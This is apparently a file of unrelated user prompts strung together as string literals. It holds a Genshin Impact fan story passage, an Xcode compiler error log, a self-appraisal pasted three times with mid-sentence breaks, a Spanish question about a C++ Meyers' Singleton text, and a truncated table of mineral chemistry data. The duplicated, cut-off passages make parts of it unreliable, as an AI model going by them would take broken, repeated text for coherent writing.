future."\nFilon\'s heart raced as he listened to their words. He had never meant to hurt anyone, and the thought that he could be seen as a threat filled him with fear.\n"Please, I don\'t want to cause any trouble," he said, his voice shaking. "I just want to live a normal life and help others."\nYanfei gave him a sympathetic look. "I understand, Filon. But you must understand that your powers make you a potential danger to those around you. It is important that we take steps to ensure the safety of everyone in Liyue."\nZhongli nodded. "Yanfei is right. We will work with you to find a way to control and harness your powers, Filon. But for now, we must be cautious and keep a close eye on you."\nFilon nodded, feeling a weight lift off his shoulders as he realized that Zhongli and Ningguang were willing to help him. He knew it would be a long and difficult journey, but he was determined to do whatever it took to become the hero he had always dreamed of being.\nFilon stood in front of Ningguang, his face impassive as he listened to her explanation. She wanted to control his powers, no matter what. But Filon knew that he was perfectly capable of controlling them himself.\n"I understand your concern, Ningguang," Filon said calmly. "But I assure you, I have no intention of using my powers irresponsibly. I have learned to control them over the years."\nNingguang\'s eyes narrowed. "But you are more powerful than me. You could potentially be a danger to others if you lose control."\nFilon shook his head. "I understand your concerns, but I am not a child. I am capable of making my own decisions about how to use my powers."\nNingguang\'s frustration was palpable. "I can\'t just let you roam free with all that power. It\'s too risky."\nFilon\'s expression remained unchanged. "I understand your caution, but I assure you, I am in control of my powers. Please trust me in this."\nDespite his calm demeanor, Ningguang could sense the strength of his resolve. She knew she would have to come up with another plan to keep him in check.\nNingguang\'s plan was to bring in Ganyu, Shenhe, and Xiao to try and control Filon\'s powers. Filon, however, was resistant to the idea and remained calm and collected as always, which only seemed to frustrate Ningguang further.\n"I\'m telling you, we can\'t just leave this alone. He\'s too powerful, and if he gets upset or angry, who knows what could happen?" Ningguang argued, pacing back and forth in front of Filon.\nFilon remained seated, his expression unchanged. "I understand your concerns, Ningguang, but I assure you that I am in complete control of my powers. I have no intention of using them irresponsibly or causing harm to anyone."\nNingguang let out a sigh of frustration. "Fine. But I\'m still calling in the others. I want to be sure that we can handle this situation if anything were to happen."\nFilon nodded, understanding her caution. "I understand. I\'ll cooperate with any measures you see fit."\nAnd with that, Ningguang called in Ganyu, Shenhe, and Xiao to discuss the situation further.\n\\*\\*\\*\nFilon stood his ground as he faced off against Xiao and Shenhe. His fists were clenched at his sides, a faint aura of power emanating from him. He knew that they were determined to bring him down, but he was equally determined to protect himself.\n"You don\'t have to do this," Filon said, trying to reason with them. "I\'m not a threat."\n"You killed Hu Tao," Shenhe spat out, brandishing her polearm. "You\'re a danger to everyone."\nFilon sighed, knowing that he couldn\'t deny the accusations. He had been driven to a breaking point and his powers had taken over, resulting in Hu Tao\'s death. But he was determined to make amends and ensure that something like that never happened again.\n"I don\'t want to fight you," Filon said firmly. "I just want to live my life in peace."\nBut his words fell on deaf ears as Xiao and Shenhe attacked him, their polearms glinting in the sunlight. Filon dodged and weaved, his movements graceful and precise. He knew that he couldn\'t defeat them head on, so he focused on defense and waiting for an opportunity to strike.\nThe sound of clashing metal echoed through the streets of Liyue as Filon and the three adepti engaged in a fierce battle. Filon\'s skin seemed to shimmer as he utilized his powers, his form shifting and contorting as he fought against his opponents.\nGanyu loosed arrow after arrow from her bow, each one flying with deadly accuracy towards Filon. He managed to deflect most of them with ease, but a few managed to graze his skin, causing him to wince in pain.\nXiao and Shenhe fought with polearms, the sharp edges of their weapons glinting in the sunlight as they swung them towards Filon. He was fast, though, dodging and weaving around their attacks and counterattacking with blows of his own.\nDespite their combined strength, Filon seemed to be holding his own against the three adepti. He was a skilled fighter, his movements precise and calculated as he fought.\nThe battle raged on, each combatant matching the other blow for blow. Sweat dripped down Filon\'s forehead as he fought, his muscles straining with the effort.\nGanyu was the first to falter, her arrows running out and her arms growing tired from the constant strain of pulling back her bowstring. Filon took the opportunity to strike, his fist connecting with her stomach and sending her flying back.\nXiao and Shenhe continued to fight, their weapons clashing against Filon\'s as they struggled to gain the upper hand. But it was no use. Filon was too strong, his powers too great.\nWith a final, powerful strike, Filon sent Xiao crashing to the ground. He turned his attention to Shenhe, who was already badly injured and struggling to stay standing.\n"Please, stop," Shenhe begged, her voice weak and strained. "I don\'t want to fight you anymore."\nFilon hesitated, the look of determination in his eyes fading as he met Shenhe\'s pleading gaze. He let out a sigh and stepped back, his arms falling to his sides.\n"I\'m sorry," Filon said, his voice barely above a whisper. "I didn\'t want any of this to happen."\nGanyu, who had managed to struggle back to her feet, approached Filon and placed a hand on his shoulder. "It\'s okay," she said softly. "We were just following orders. You were only defending yourself."\nFilon nodded, a sense of guilt and sadness washing over him. He had never wanted to hurt anyone, let alone his fellow adepti.\nDespite the struggle, their relationship was unlikely to have suffered. Ganyu knew that Filon was only defending himself, and Shenhe was too grateful to be alive to hold a grudge. It was a small comfort, but it was something.\n\\*\\*\\*\nFilon and Ganyu arrived at the palace, where Ningguang and Zhongli were waiting for them. Filon approached them, his expression stern.\n"Ningguang, Zhongli," he said, his voice cold. "I don\'t know what you were thinking, trying to control my powers. But I won\'t let you or anyone else harm me or my trams."\nNingguang\'s eyebrows furrowed. "What are you talking about, Filon? We were just trying to help you control your powers."\n"I won\'t allow any kind of compromise," he said, his voice low and firm. "I\'ve already used my powers for the good of Liyue, and I won\'t let anyone try to control me or use me for their own gain. You two are nothing but tyrannical oligarchs, treating people like things and only thinking about your own good."\nNingguang\'s eyes narrowed, her lips pressed into a thin line. "You may think you\'re doing the right thing, Filon, but you\'re still a danger to this city. You have no idea how much power you really have, and you could end up causing more harm than good."\nFilon shook his head. "I won\'t let that happen. I will do everything in my power to protect Liyue, even if it means overthrowing you two and establishing a republic with a democratic system. Portuguese will be introduced into the schools and authorities, and Liyue will become a Portuguese colony. I won\'t let your greed and selfishness continue to rule this city."\nZhongli\'s expression was unreadable as he listened to Filon\'s words. After a moment of silence, he spoke up. "I understand your desire to protect Liyue, Filon, but you must understand that change does not come easily. And there is always a risk of causing harm when trying to bring about change. It is not as simple as just overthrowing the current system and expecting everything to be perfect."\nFilon took a deep breath, trying to calm the anger that was boiling inside of him. "I understand that, Zhongli. But I can\'t just stand by and do nothing while people are being oppressed and mistreated. I have to try and make a difference, even if it means taking a risk. And I won\'t let anyone, not even the two of you, stand in my way."\nNingguang and Zhongli exchanged a glance, seeming to silently communicate something to each other. After a moment, Ningguang spoke up. "Very well, Filon. We won\'t try to stop you or control your powers. But we hope you will be careful and consider the consequences of your actions. Liyue is a fragile city, and we all have a responsibility to protect it and its people."\nFilon nodded, feeling a sense of relief wash over him. "Thank you, Ningguang. I promise to be careful and considerate. And I hope that we can work together to make Liyue a better place for everyone."\n\\*\\*\\*\nAs Filon and Ganyu walked through the streets of Liyue, they chatted amiably about the events of the day. Filon couldn\'t help but feel grateful to Ganyu for her understanding and support during the confrontation with Xiao and Shenhe.\n"I really appreciate your help, Ganyu," Filon said. "I know that you didn\'t want to fight me, and I\'m sorry that things had to turn out that way."\nGanyu smiled and patted Filon\'s shoulder. "Don\'t worry about it, Filon. I know that you were only trying to protect yourself and your loved ones. And I have to admit, it was kind of exciting to see you in action. Your powers are truly impressive."\nFilon chuckled, feeling a warm sense of camaraderie with Ganyu. "Well, I\'m glad that I could count on you. I don\'t think I could have handled things on my own."\nAs they continued walking, Filon couldn\'t help but feel a sense of hope for the future. With friends like Ganyu by his side, he knew that he could face any challenge that came his way. And with his powers, he would be able to make a real difference in the world, using them for the betterment of all.' +"CompileC /Users/jameschege/Library/Developer/Xcode/DerivedData/mars-bunauennwhxvqrfemcgipearjqlg/Build/Intermediates.noindex/Pods.build/Debug-iphonesimulator/libevent.build/Objects-normal/arm64/signal.o /Users/jameschege/WebstormProjects/mars/ios/Pods/libevent/signal.c normal arm64 c com.apple.compilers.llvm.clang.1\\_0.compiler (in target 'libevent' from project 'Pods')\n cd /Users/jameschege/WebstormProjects/mars/ios/Pods\n /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/clang -x c -target arm64-apple-ios11.0-simulator -fmessage-length\\=0 -fdiagnostics-show-note-include-stack -fmacro-backtrace-limit\\=0 -std\\=gnu11 -fmodules -fmodules-cache-path\\=/Users/jameschege/Library/Developer/Xcode/DerivedData/ModuleCache.noindex -fmodules-prune-interval\\=86400 -fmodules-prune-after\\=345600 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-I/Users/jameschege/WebstormProjects/mars/ios/Pods/Headers/Public/libevent -I/Users/jameschege/WebstormProjects/mars/ios/Pods/libevent/include -I/Users/jameschege/Library/Developer/Xcode/DerivedData/mars-bunauennwhxvqrfemcgipearjqlg/Build/Intermediates.noindex/Pods.build/Debug-iphonesimulator/libevent.build/DerivedSources-normal/arm64 -I/Users/jameschege/Library/Developer/Xcode/DerivedData/mars-bunauennwhxvqrfemcgipearjqlg/Build/Intermediates.noindex/Pods.build/Debug-iphonesimulator/libevent.build/DerivedSources/arm64 -I/Users/jameschege/Library/Developer/Xcode/DerivedData/mars-bunauennwhxvqrfemcgipearjqlg/Build/Intermediates.noindex/Pods.build/Debug-iphonesimulator/libevent.build/DerivedSources -F/Users/jameschege/Library/Developer/Xcode/DerivedData/mars-bunauennwhxvqrfemcgipearjqlg/Build/Products/Debug-iphonesimulator/libevent -fmodule-map-file\\=/Users/jameschege/Library/Developer/Xcode/DerivedData/mercury-hisdthbjzariubaizxugvbudzphm/Build/Products/Debug-iphonesimulator/YogaKit/YogaKit.modulemap -fmodule-map-file\\=/Users/jameschege/WebstormProjects/mercury/ios/Pods/Headers/Public/FlipperKit/FlipperKit.modulemap -fmodule-map-file\\=/Users/jameschege/WebstormProjects/mercury/ios/Pods/Headers/Public/RCTTypeSafety/RCTTypeSafety.modulemap -fmodule-map-file\\=/Users/jameschege/WebstormProjects/mercury/ios/Pods/Headers/Public/React/React-Core.modulemap -fmodule-map-file\\=/Users/jameschege/WebstormProjects/mercury/ios/Pods/Headers/Public/ReactCommon/ReactCommon.modulemap -fmodule-map-file\\=/Users/jameschege/WebstormProjects/mercury/ios/Pods/Headers/Public/React\\_Codegen/React-Codegen.modulemap -fmodule-map-file\\=/Users/jameschege/WebstormProjects/mercury/ios/Pods/Headers/Public/folly/RCT-Folly.modulemap -fmodule-map-file\\=/Users/jameschege/WebstormProjects/mercury/ios/Pods/Headers/Public/yoga/Yoga.modulemap -DFOLLY\\_NO\\_CONFIG -DFOLLY\\_MOBILE\\=1 -DFOLLY\\_USE\\_LIBCPP\\=1 -Wno-comma -Wno-shorten-64-to-32 -DREACT\\_NATIVE\\_MINOR\\_VERSION\\=71 -DREANIMATED\\_VERSION\\=3.0.2 -include /Users/jameschege/WebstormProjects/mars/ios/Pods/Target\\ Support\\ Files/libevent/libevent-prefix.pch -MMD -MT dependencies -MF /Users/jameschege/Library/Developer/Xcode/DerivedData/mars-bunauennwhxvqrfemcgipearjqlg/B\ndebug uild/Intermediates.noindex/Pods.build/Debug-iphonesimulator/libevent.build/Objects-normal/arm64/signal.d --serialize-diagnostics /Users/jameschege/Library/Developer/Xcode/DerivedData/mars-bunauennwhxvqrfemcgipearjqlg/Build/Intermediates.noindex/Pods.build/Debug-iphonesimulator/libevent.build/Objects-normal/arm64/signal.dia -c /Users/jameschege/WebstormProjects/mars/ios/Pods/libevent/signal.c -o /Users/jameschege/Library/Developer/Xcode/DerivedData/mars-bunauennwhxvqrfemcgipearjqlg/Build/Intermediates.noindex/Pods.build/Debug-iphonesimulator/libevent.build/Objects-normal/arm64/signal.o -index-unit-output-path /Pods.build/Debug-iphonesimulator/libevent.build/Objects-normal/arm64/signal.o\nfatal error: module map file '/Users/jameschege/Library/Developer/Xcode/DerivedData/mercury-hisdthbjzariubaizxugvbudzphm/Build/Products/Debug-iphonesimulator/YogaKit/YogaKit.modulemap' not found" +"rephrase the below items\nStarting from mid-March of 2022, I have worked on 97 tasks which include new tasks, sub-tasks, and improvements. I\nhave always completed all the issues assigned to me on-or-before the date of sprint completion.\nApart from working on tasks created for me, I also got an opportunity to manage developments for the desktop testing\nframework side of things. For this, I rather took a different approach of having tasks split down into smaller niche tasks\nusing GitHub projects to track each and every part of the development which can directly be linked to the smallest piece of\ncode\nWith Desktop testing, I was and am very proactive from start with the inclusion of actions and design patterns for a desktop\ntesting framework which is quite unheard of as it hasn't been worked up aggressively in the past. I have learned a lot about\nmanaging and running a small team by working with Nishant and helping him from time to time. At the start, I aided\nNishan't journey into product development by writing skeletons code or pseudocode for designing the framework, and later\non, he started getting the hang of it and has nearly become an individual contributor\nApart from maintaining sprint sanity and managing development for desktop testing framework, I have been part of\nsessions to train the freshers to familiarise them with the concepts of AI and Machine Learning on multiple occasions. To\nease and aid the learning process created multiple notebooks and interactive examples which will help them easily\nunderstand the concepts of Python and basic machine learning. \nI have always tried to be accommodating in building and fine-tuning models based on the platform's requirements. \nFor example, in the case of AutoSelect/Suggest features; a new collection of API actions were added, and to keep\nthe model up to date with all the actions available on the platform I generated thousands of examples for each\naction using libraries like Faker and Falso\nIn the Insights and Analytics service, the design is developed in such a way that it can be directly integrated via the\nQyrus Dashboard, so the user doesn't require logging in to access it one more time. We can carry the same user\nsession from the Qyrus Dashboard to the Insights and Analytics service. This improves the user experience\nThere are more such cases in which features were enhanced to aid the user experience, one of those is a visually\nenhanced report template to show execution reports to the user that are pleasing to the eye. The same report\ntemplate is being used for the time being for Desktop Testing as well.\nTo improve the usability of the AutoSelect/Suggest feature a socket implementation was developed to provide\nusers with quick action selection feedback while they are typing\nThe device status component in the slack integration was updated to a list of selection options so organizations with tens\nor hundreds of devices can easily get the status and information about the selected device. This was one of the proactive\nmeasures to enhance the user experience\nApart from proactive modification of components for enhanced user experience, I have also taken some highly clairvoyant\nmeasures to keep the systems cost-effective and scaleable by shifting to an event-driven architecture/process from a\nmicroservice-based architecture. \nI have also worked with the freshers and have provided them with sessions for understanding Natural Language\nprocessing and data creation tasks. I have guided them a lot when it comes to data creation and generation for language\ntasks. \nI am a learner and a doer at the same time, I constantly learn and implement new skills related to software development\nand engineering, training models, and even cloud and deployment. I like to put these skills into practice and hence, I Starting from mid-March of 2022, I have worked on 97 tasks which include new tasks, sub-tasks, and improvements. I\nhave always completed all the issues assigned to me on-or-before the date of sprint completion.\nApart from working on tasks created for me, I also got an opportunity to manage developments for the desktop testing\nframework side of things. For this, I rather took a different approach of having tasks split down into smaller niche tasks\nusing GitHub projects to track each and every part of the development which can directly be linked to the smallest piece of\ncode\nWith Desktop testing, I was and am very proactive from start with the inclusion of actions and design patterns for a desktop\ntesting framework which is quite unheard of as it hasn't been worked up aggressively in the past. I have learned a lot about\nmanaging and running a small team by working with Nishant and helping him from time to time. At the start, I aided\nNishan't journey into product development by writing skeletons code or pseudocode for designing the framework, and later\non, he started getting the hang of it and has nearly become an individual contributor\nApart from maintaining sprint sanity and managing development for desktop testing framework, I have been part of\nsessions to train the freshers to familiarise them with the concepts of AI and Machine Learning on multiple occasions. To\nease and aid the learning process created multiple notebooks and interactive examples which will help them easily\nunderstand the concepts of Python and basic machine learning. \nI have always tried to be accommodating in building and fine-tuning models based on the platform's requirements. \nFor example, in the case of AutoSelect/Suggest features; a new collection of API actions were added, and to keep\nthe model up to date with all the actions available on the platform I generated thousands of examples for each\naction using libraries like Faker and Falso\nIn the Insights and Analytics service, the design is developed in such a way that it can be directly integrated via the\nQyrus Dashboard, so the user doesn't require logging in to access it one more time. We can carry the same user\nsession from the Qyrus Dashboard to the Insights and Analytics service. This improves the user experience\nThere are more such cases in which features were enhanced to aid the user experience, one of those is a visually\nenhanced report template to show execution reports to the user that are pleasing to the eye. The same report\ntemplate is being used for the time being for Desktop Testing as well.\nTo improve the usability of the AutoSelect/Suggest feature a socket implementation was developed to provide\nusers with quick action selection feedback while they are typing\nThe device status component in the slack integration was updated to a list of selection options so organizations with tens\nor hundreds of devices can easily get the status and information about the selected device. This was one of the proactive\nmeasures to enhance the user experience\nApart from proactive modification of components for enhanced user experience, I have also taken some highly clairvoyant\nmeasures to keep the systems cost-effective and scaleable by shifting to an event-driven architecture/process from a\nmicroservice-based architecture. \nI have also worked with the freshers and have provided them with sessions for understanding Natural Language\nprocessing and data creation tasks. I have guided them a lot when it comes to data creation and generation for language\ntasks. \nI am a learner and a doer at the same time, I constantly learn and implement new skills related to software development\nand engineering, training models, and even cloud and deployment. I like to put these skills into practice and hence, I Starting from mid-March of 2022, I have worked on 97 tasks which include new tasks, sub-tasks, and improvements. I\nhave always completed all the issues assigned to me on-or-before the date of sprint completion.\nApart from working on tasks created for me, I also got an opportunity to manage developments for the desktop testing\nframework side of things. For this, I rather took a different approach of having tasks split down into smaller niche tasks\nusing GitHub projects to track each and every part of the development which can directly be linked to the smallest piece of\ncode\nWith Desktop testing, I was and am very proactive from start with the inclusion of actions and design patterns for a desktop\ntesting framework which is quite unheard of as it hasn't been worked up aggressively in the past. I have learned a lot about\nmanaging and running a small team by working with Nishant and helping him from time to time. At the start, I aided\nNishan't journey into product development by writing skeletons code or pseudocode for designing the framework, and later\non, he started getting the hang of it and has nearly become an individual contributor\nApart from maintaining sprint sanity and managing development for desktop testing framework, I have been part of\nsessions to train the freshers to familiarise them with the concepts of AI and Machine Learning on multiple occasions. To\nease and aid the learning process created multiple notebooks and interactive examples which will help them easily\nunderstand the concepts of Python and basic machine learning. \nI have always tried to be accommodating in building and fine-tuning models based on the platform's requirements. \nFor example, in the case of AutoSelect/Suggest features; a new collection of API actions were added, and to keep\nthe model up to date with all the actions available on the platform I generated thousands of examples for each\naction using libraries like Faker and Falso\nIn the Insights and Analytics service, the design is developed in such a way that it can be directly integrated via the\nQyrus Dashboard, so the user doesn't require logging in to access it one more time. We can carry the same user\nsession from the Qyrus Dashboard to the Insights and Analytics service. This improves the user experience\nThere are more such cases in which features were enhanced to aid the user experience, one of those is a visually\nenhanced report template to show execution reports to the user that are pleasing to the eye. The same report\ntemplate is being used for the time being for Desktop Testing as well.\nTo improve the usability of the AutoSelect/Suggest feature a socket implementation was developed to provide\nusers with quick action selection feedback while they are typing\nThe device status component in the slack integration was updated to a list of selection options so organizations with tens\nor hundreds of devices can easily get the status and information about the selected device. This was one of the proactive\nmeasures to enhance the user experience\nApart from proactive modification of components for enhanced user experience, I have also taken some highly clairvoyant\nmeasures to keep the systems cost-effective and scaleable by shifting to an event-driven architecture/process from a\nmicroservice-based architecture. \nI have also worked with the freshers and have provided them with sessions for understanding Natural Language\nprocessing and data creation tasks. I have guided them a lot when it comes to data creation and generation for language\ntasks. \nI am a learner and a doer at the same time, I constantly learn and implement new skills related to software development\nand engineering, training models, and even cloud and deployment. I like to put these skills into practice and hence, I always try and take the end-to-end development and deployment responsibilities of new services or features" +'Este es un texto que explica el uso de la variante del patrón singleton conocida como Singleton de Meyer. \nMeyers\' Singleton\nThis implementation is named after its inventor, Scott Meyers. If the main problem with the static singleton is that it can be initialized later than its first use, then the solution must be to initialize the singleton when it is needed for the first time:\n\nclass Singleton {\n public:\n static Singleton& instance() {\n static Singleton inst;\n return inst;\n }\n\n int& get() { return value\\_; }\n\n private:\n Singleton() : value\\_(0) {\n std::cout << "Singleton::Singleton()" << std::endl;\n }\n Singleton(const Singleton&) = delete;\n Singleton& operator=(const Singleton&) = delete;\n ~Singleton() {\n std::cout << "Singleton::~Singleton()" << std::endl;\n }\n\n private:\n int value\\_;\n};\nThe Meyers\' Singleton has a private constructor, so it cannot be constructed by the program directly (in our example, we added a printout to the constructor, only to see when the singleton is initialized). Nor can the program make copies of the singleton object. Since the Meyers\' Singleton cannot be directly constructed by the program, it is again a zero handle objects implementation. The only way to access this singleton is through the Singleton::instance() static member function:\n\nint i = Singleton::instance().get();\n++Singleton::instance().get();\nThe Singleton::instance() function returns a reference to the singleton object, but which one, and when is it created? We can see from the preceding code that the return value is a reference to a local object defined in the body of the instance() function itself. Ordinarily, returning references to local objects is a serious programming error—these objects don\'t exist once the function completes. But the Meyers\' Singleton doesn\'t use an ordinary local object, but a local static object. Just like file-static objects, only one instance of the static object exists in the entire program. Unlike the file static objects, the function static objects are initialized the first time they are used; in our case, the first time the function is called. In pseudo-code, you can think of the function-static object like this:\n\nstatic bool initialized = false; // Hidden compiler-generated variable\n// Memory for the static object, uninitialized at first\nchar memory[sizeof(Singleton)]; \nclass Singleton {\n public:\n static Singleton& instance() {\n if (!initialized) { // Happens only once\n initialized = true;\n new (memory) Singleton; // Placement new\n // Calls Singleton constructor\n }\n // memory now contains a Singleton object\n return \\*(Singleton\\*)(memory);\n }\n ...\n};\nThis initialization of the singleton may occur after the program starts, or possibly long after, if the singleton is not used for a while. On the other hand, if another static object (not necessarily a singleton) uses our singleton object and requests a reference to it, the initialization is guaranteed to happen before the object can be used. This implementation is an example of lazy initialization—the initialization is deferred until it\'s needed (if the singleton object is not used at all in a particular run of the program, it will not be initialized at any point).\n\nOne possible concern about Meyers\' Singleton is its performance. While the initialization occurs only once, every call to Singleton::instance() must check whether the object is already initialized. We can measure the cost of this check by comparing the time it takes to access the instance for some operations, compared to the time it takes to call the same operations on an instance already stored in a reference:\n\nvoid BM\\_singleton(benchmark::State& state) {\n Singleton& S = Singleton::instance();\n for (auto \\_ : state) {\n REPEAT(benchmark::DoNotOptimize(++S.get());)\n }\n state.SetItemsProcessed(32\\*state.iterations());\n}\n\nvoid BM\\_singletons(benchmark::State& state) {\n for (auto \\_ : state) {\n REPEAT(benchmark::DoNotOptimize(++Singleton::instance().get());)\n }\n state.SetItemsProcessed(32\\*state.iterations());\n}\nHere, the first benchmark calls Singleton::instance() every time, while the second one calls the same member functions on the singleton, but accesses the instance only once. The difference between the two invocations shows us the cost of checking whether the singleton has to be initialized (the cost of the initialization itself is irrelevant, since the benchmark is executed many times, while the initialization happens only once):\nWe can see that the cost of the implementation of the function static variable is considerable, significantly greater than the cost of a simple operation on the singleton object (an integer increment, in our case). Therefore, if the singleton object is to be used extensively, it may be beneficial to store a reference to it, instead of requesting one every time. We can also see, thanks to the debug printouts we put in place earlier, that the singleton is indeed initialized the first time it is used—if the messages Running... and Run on... are printed by the program (by the main() function provided by the Google Benchmark library, to be exact), then the singleton is initialized. If the singleton used a file static object, the constructor would have been called before the program has a chance to print anything.\n\nNot to be confused with Meyers\' singleton is the following implementation:\n\nclass Singleton {\n public:\n static Singleton& instance() {\n return instance\\_;\n }\n\n int& get() { return value\\_; }\n\n private:\n Singleton() : value\\_(0) {\n std::cout << "Singleton::Singleton()" << std::endl;\n }\n ~Singleton() {\n std::cout << "Singleton::~Singleton()" << std::endl;\n }\n Singleton(const Singleton&) = delete;\n Singleton& operator=(const Singleton&) = delete;\n\n private:\n static Singleton instance\\_;\n int value\\_;\n};\nSingleton Singleton::instance\\_;\nWhile superficially similar, this implementation differs in the most important aspect—the time of initialization. The static instance is not a function static object, and is initialized with other static objects, regardless of whether it is used or not (eager initialization, as opposed to lazy initialization). The access to the singleton instance looks exactly the same as for Meyers\' Singleton, but there, the similarities end. In fact, this is just another variant of the static singleton, only instead of declaring every data member as static, we created a static instance of the object.\n\nWe can expect the performance to be similar to that of the static singleton, or that of the Meyers\' Singleton if we were to optimize the code to avoid repeated initialization checks:\nWe call the reader\'s attention to the timing of the construction again—this time, the constructor of the static singleton instance is called before the program has started to print its own messages.\n\nAn interesting variant of this implementation is a combination of the Meyers\' Singleton with the pimpl idiom, where the header file contains only the interface declarations, and the actual implementation, including the data members, is moved to a different class and hidden in the C file, with only a pointer to this implementation object declared in the header (hence the name, pointer to impl, or pimpl for short). This idiom is often used to reduce the compilation dependencies—if the implementation of the object changes, but the public API remains the same, then the header file remains unchanged and all files that depend on it do not need to be recompiled. In the case of the singleton, the combination of these two patterns looks like this:\n\n// In the header file:\nstruct SingletonImpl; // Forward declaration\nclass Singleton {\n public: // Public API\n int& get();\n private:\n static SingletonImpl& impl();\n};\n\n// In the C file:\nstruct SingletonImpl { // Client code does not care if this changes\n SingletonImpl() : value\\_(0) {}\n int value\\_; \n};\n\nint& Singleton::get() { return impl().value\\_; }\n\nSingletonImpl& Singleton::impl() {\n static SingletonImpl inst;\n return inst;\n}\nIn this implementation, the program can create any number of Singleton objects, but they all operate on the same implementation, accessed by the impl() method (in our case, this method returns a reference to the implementation, and not a pointer; nonetheless, we call it pimpl since it is fundamentally the same pattern). Note that we did not put any protection on the implementation class—since it is limited to one C file and is not used directly, only being used through the methods of the Singleton class, it is quite common to rely on the programmer\'s discipline instead.\n\nThe advantage of this implementation is a better separation between the interface and the implementation, which is the reason for any use of the pimpl idiom. The disadvantage is the extra level of indirection, and the performance overhead it adds. Also, note that it is no longer possible for the program to avoid the test for lazy initialization, since it is now hidden inside the implementation of the Singleton methods. It is possible to optimize the Singleton class to avoid the repeated initialization checks by storing a reference to the implementation in every object:\n\n// In the header file:\nstruct SingletonImpl;\nclass Singleton {\n public:\n Singleton();\n int& get();\n private:\n static SingletonImpl& impl();\n SingletonImpl& impl\\_; // Cached reference\n};\n\n// In the C file:\nstruct SingletonImpl {\n SingletonImpl() : value\\_(0) {}\n int value\\_;\n};\n\nSingleton::Singleton() : impl\\_(impl()) {}\n\nint& Singleton::get() { return impl\\_.value\\_; }\n\nSingletonImpl& Singleton::impl() { // Called once per object now\n static SingletonImpl inst;\n return inst;\n}\nThe singleton instance is now created the first time a Singleton object is constructed, instead of the first time its member function is called. Also, each Singleton object now has a reference data member, so we are using a bit more memory as a trade-off for increased performance:\nWe can see that the optimized implementation is on par with any of the lightweight implementations we considered earlier, while the straightforward pimpl implementation is significantly slower.\n\nAnother important consideration in modern programs is thread safety. In the case of the Meyers\' Singleton, the question of thread safety is non-trivial. The issue boils down to this: is the initialization of a local static variable thread-safe? The focus of our attention is this code:\n\nstatic Singleton& instance() {\n static Singleton inst;\n return inst;\n}\nThe actual code behind this C++ construct is fairly complex—there is a conditional check to see if the variable is already constructed, and a flag that is set when this code is executed for the first time. What happens if multiple threads call the instance() function at the same time? Do we have a guarantee that, for all threads, only one instance of the static object will be created? In C++11 and later standards, the answer is a definite yes. Prior to C++11, the standard did not guarantee any thread safety at all. This led to the proliferation of various alternative implementations that can still be found in examples online and in print. Such alternatives are many, and in general, they look something like this, with various combinations of locking thrown in:\n\nstatic bool initialized - false;\nstatic Singleton& instance() {\n if (!initialized) { ... initialize the instance under lock ... }\n return ... reference to the singleton instance ...\n}\nAt this point in time, such implementations are thoroughly obsolete and are, at most, of historical interest. We will not spend time explaining how they work, and whether they work correctly (many don\'t). There is no reason to do anything more than simply declare a local static variable and return a reference to it.\n\nAs we have explained before, the Meyers\' Singleton solves the problem of initialization order by initializing, on demand, the first time the object is used. Even if we have multiple singletons (of different types, of course) and they refer to one another, the objects will be initialized no later than they are needed. The problem of the initialization order is indeed solved. But that is not the only problem, as we will see next.\nQuiero que a partir de su contenido me expliques varias cosas. La primera: Esta parte de pseudocódigo, explica el modo en el que el compilador, implícitamente, crea una instancia del objeto Singleton, que no puede crearse directamente, al declararse su constructor como privado. El pseudocódigo es éste:\nstatic bool initialized = false; // Hidden compiler-generated variable\n// Memory for the static object, uninitialized at first\nchar memory[sizeof(Singleton)]; \nclass Singleton {\n public:\n static Singleton& instance() {\n if (!initialized) { // Happens only once\n initialized = true;\n new (memory) Singleton; // Placement new\n // Calls Singleton constructor\n }\n // memory now contains a Singleton object\n return \\*(Singleton\\*)(memory);\n }\n ...\n}; Puedes explicarme, para empezar lo que hace exactamente este pseudocódigo.' +'Use this data in the plot and show the triangle borders very clearly \nWeight percent Group : 2020\\_12\\_18\\_noc Sample : 2020\\_12\\_18\\_noc\\_0004\\_QNT Page 1 \n \n No. Na2O MgO Al2O3 SiO2 CaO TiO2 MnO FeO K2O Total Comment \n1 4.755 9.608 0.323 53.645 15.962 0.115 0.220 14.218 0.018 98.864 SP1\\_4\\_m3\\_p7 \n2 4.728 9.835 0.308 53.759 15.794 0.125 0.173 14.148 0.000 98.870 SP1\\_4\\_m4\\_p5 \n3 5.271 9.062 0.183 53.556 14.914 0.140 0.161 15.265 0.000 98.552 SP1\\_4\\_m4\\_p6 \n4 6.703 7.392 0.357 53.430 12.310 0.153 0.182 17.751 0.000 98.278 SP1\\_4\\_m5\\_p1 \n5 4.758 9.749 0.321 53.880 15.904 0.140 0.183 14.285 0.004 99.224 SP1\\_4\\_m5\\_p2 \n6 4.557 9.884 0.308 53.566 16.096 0.116 0.199 13.287 0.000 98.013 SP1\\_4\\_m5A\\_p5 \n7 5.078 9.425 0.313 53.680 15.376 0.136 0.242 14.429 0.000 98.679 SP1\\_4\\_m5A\\_p6 \n8 4.701 9.790 0.310 53.642 16.063 0.133 0.256 13.687 0.004 98.586 SP1\\_4\\_m6\\_p2 \n9 5.390 8.886 0.324 53.615 14.488 0.151 0.196 15.553 0.008 98.611 SP1\\_4\\_m6\\_p3 \n10 5.227 9.076 0.306 53.295 14.998 0.104 0.162 15.177 0.000 98.345 SP1\\_4\\_m7\\_p9 \n11 5.147 9.146 0.292 54.142 14.868 0.128 0.192 15.143 0.002 99.060 SP2\\_20\\_m1\\_p1 \n12 4.716 9.656 0.312 53.978 15.855 0.107 0.230 13.842 0.000 98.696 SP2\\_20\\_m2\\_p3 \n13 4.828 9.566 0.277 53.967 15.839 0.126 0.188 13.617 0.004 98.412 SP2\\_20\\_m2A\\_p7 \n14 4.661 9.756 0.363 53.613 15.783 0.137 0.255 13.796 0.000 98.364 SP2\\_20\\_m3\\_p4 \n15 5.197 9.151 0.346 53.747 15.118 0.128 0.216 14.942 0.016 98.861 SP2\\_20\\_m4\\_p4 \n16 4.747 9.693 0.253 53.534 16.001 0.071 0.189 13.456 0.010 97.954 SP2\\_20\\_m5\\_p4 \n17 4.691 9.772 0.266 53.774 15.940 0.112 0.203 14.082 0.000 98.840 SP2\\_20\\_m6\\_p2 \n18 5.143 9.055 0.308 53.663 14.864 0.130 0.180 15.447 0.000 98.790 SP2\\_20\\_m7\\_p6 \n19 5.502 8.821 0.321 53.579 14.098 0.118 0.163 15.651 0.005 98.258 SP2\\_20\\_m7\\_p7 \n20 5.105 9.552 0.347 